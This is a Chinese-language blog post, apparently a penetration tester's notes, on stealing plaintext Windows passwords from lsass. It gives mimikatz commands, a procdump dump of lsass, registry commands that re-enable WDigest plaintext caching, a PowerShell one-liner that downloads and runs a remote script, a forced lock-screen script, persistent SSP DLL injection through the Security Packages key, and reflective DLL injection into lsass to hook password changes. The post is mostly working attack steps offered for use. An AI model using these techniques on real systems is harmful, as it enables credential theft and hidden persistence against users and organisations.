• 低版本下的密码抓取


    各大教程中抓密码的操作:
    privilege::debug (提权)
    sekurlsa::logonpasswords    (抓密码)
    

    但为什么可以抓。。。
    首先要了解这个 debug privilege 的原理,再 windows 中,调试全新啊可以用来调试进程,甚至是调试内核,mimikatz 的工作原理需要读取内存,那么必须要对应的权限去打开进程。
    默认情况下只有本地管理员组有这个权限,这也是为什么 mimikatz 需要管理员权限才能抓 hash 的原因。
    能抓,但具体是怎么抓的,其实 mimikatz 能导出明文的原因是因为 WDigest SSP 保存了可你的密码明文,但在安装 KB2871997 补丁或在 win10 和 windows server 2012 后,就禁止在内存中保存明文密码,但可以通过修改注册表读取。
    关于 WDigest:
    WDigest即摘要身份验证,摘要身份验证是一种质询/响应协议,主要在 Windows Server 2003 中用于 LDAP 和基于 Web 的身份验证。它利用超文本传输协议 (HTTP) 和简单身份验证安全层 (SASL) 交换进行身份验证。在较高级别上,客户端请求访问某些内容,身份验证服务器向客户端提出质询,客户端通过使用从密码派生的密钥对其响应进行加密来响应质询。将加密的响应与身份验证服务器上存储的响应进行比较,以确定用户是否具有正确的密码。
    

    WDigest 利用 http 和 sasl 进行身份验证,具体表现为把明文密码存在 lsass.exe 进程里通过 http 认证。KB2871997 补丁的作用就是关闭了 WDigest Auth(但没完全关闭,因为某些系统服务需要用到,所以为让用户自己选择)。
  • 离线抓取密码


    当 mimikatz 无法实现免杀时,可以用 procdump(微软签名的合法二进制文件,被提供用于转储进程内存。),dump lsass 进程,然后实现离线读取。
    Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
    mimikatz # sekurlsa::minidump lsass.dmp
    Switch to MINIDUMP
    mimikatz # sekurlsa::logonPasswords full
    

    image-20220223154916384
    通常在我们登录系统输入密码后,密码便会存储在 lsass.exe 内存,经过 wdigest 和 tspkg 调用后,对其使用可逆的算法进行加密存在内存中。
  • 通过修改注册表抓取明文密码


    WDigest 注册表位于:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
    

    在没有安装补丁的情况下没有 UseLogonCredential 这个值
    image-20220223143145845
    下一下补丁再试试 下载地址,可以发现 mimikatz 已经抓不到明文密码了。
    可以通过修改注册表强制开启 WDigest Auth
    1. cmd
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest  UseLogonCredential /t REG_DWORD /d 1 /f 
    2. powershell
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    3. meterpreter
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
    关闭只需将最后的1改为0
    

    但是锁屏之后需要注销后重启,才能获得明文密码,而我们再不知道明文的情况下登录不了,这时可以设置强制锁屏
    1. cmd
    rundll32 user32.dll,LockWorkStation
    2. powershell
    powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"
    

    或者用三好学生的自动化脚本(修改+检测+锁屏)
    #!powershell
    function local:Get-DelegateType {
      Param (
        [OutputType([Type])]
      [Parameter( Position = 0)]
      [Type[]]
      $Parameters = (New-Object Type[](0)),
        [Parameter( Position = 1 )]
      [Type]
      $ReturnType = [Void]
      )
        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
    
        $TypeBuilder.CreateType()
    }
    function local:Get-ProcAddress {
      Param (
        [OutputType([IntPtr])]
      [Parameter( Position = 0, Mandatory = $True )]
      [String]
      $Module,
        [Parameter( Position = 1, Mandatory = $True )]
      [String]
      $Procedure
        )
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
      $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }
    Start-Sleep -Seconds 10
    $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
    $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
    $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
    $hWindow = $GetForegroundWindow.Invoke()
    
    
    write-host "[+]Checking Flag"
    while($hWindow -eq 0)
    {
      write-host "[+]LockScreen"
      write-host "[+]Wait 10 Seconds..."
      Start-Sleep -Seconds 10
      $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
      $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
      $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
      $hWindow = $GetForegroundWindow.Invoke()
      write-host "[+]Checking Flag"
    
    }
    write-host "[!]Got Screen!"
    

    在用户重新登录后就可以用 mimikatz 导出明文密码。
  • SSP注入


    SSP(Security Support Provider)主要提供了 windows 的身份认证功能,如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。SSP 在 windows 启动后,会被加载到 lsass.exe 中,然后就有两种思路:
    1.删除一个任意的SSP DLL以便于与lsass进程进行交互
    2.直接伪造一个SSP的dll来提取用户登录时的明文密码
    

    根据第二种思路,可以自定义一个恶意 dll 文件让它在系统启动时自动加载到 lsass.exe,就能得到进程中的明文密码。(可以用 mimikatz 实现)
    临时注入(重启后失效):
    mimikatz# privilege::debug
    mimiaktz# misc::memssp
    

    只要目标机器不重启,在目标机器上登录的用户名密码就会别记录在 C:\Windows\System32\mimilsa.log 文件中。
    长期性注入(重启不失效):
    把 mimikatz 中的 mimilib.dll 放到系统的 C:\Windows\System32\ 目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,即使系统重启,也不会影响持久化效果。
    然后修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages,在其中添加新的 dll 文件。之后用户登录时输入的账号密码就会被记录在 C:\Windows\System32\kiwissp.log。
  • Hook PasswordChangeNotify


    修改密码时,如果用户输入新密码,LSA 会调用 PasswordFilter 来检查改密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify 在系统中同步密码,这个过程中有明文形式的密码进行传参,那么只要劫持了 PasswordChangeNotify 的执行流就能拿到明文密码。
    具体实现思路:
    1.为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
    2.在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
    3.将生成的dll注入到lssas进程中。使用HOOK PasswordChangeNotify无需重启系统或修改注册表,更加隐蔽且贴合实际。
    

    dalao 写好的 Inline Hook 代码:https://github.com/clymb3r/Misc-Windows-Hacking
    使用 session0 注入将 dll 注入 lsass.exe ,但网上直接 dll 注入的好像都失败了。。。
    使用反射加载的方式进行尝试,利用 Powershell tricks 中的 Process Injection 将 dll 注入到lsass 进程,脚本 https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1,执行命令:
    Set-ExecutionPolicy bypass
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    

    修改密码过后就可以在 C:\Windows\Temp\ 中看到抓取的明文密码。
    (至于为什么没有复现截图是因为这里报了一个神奇的错误:
    image-20220223204004972
  • 参考文献:


标签: none

添加新评论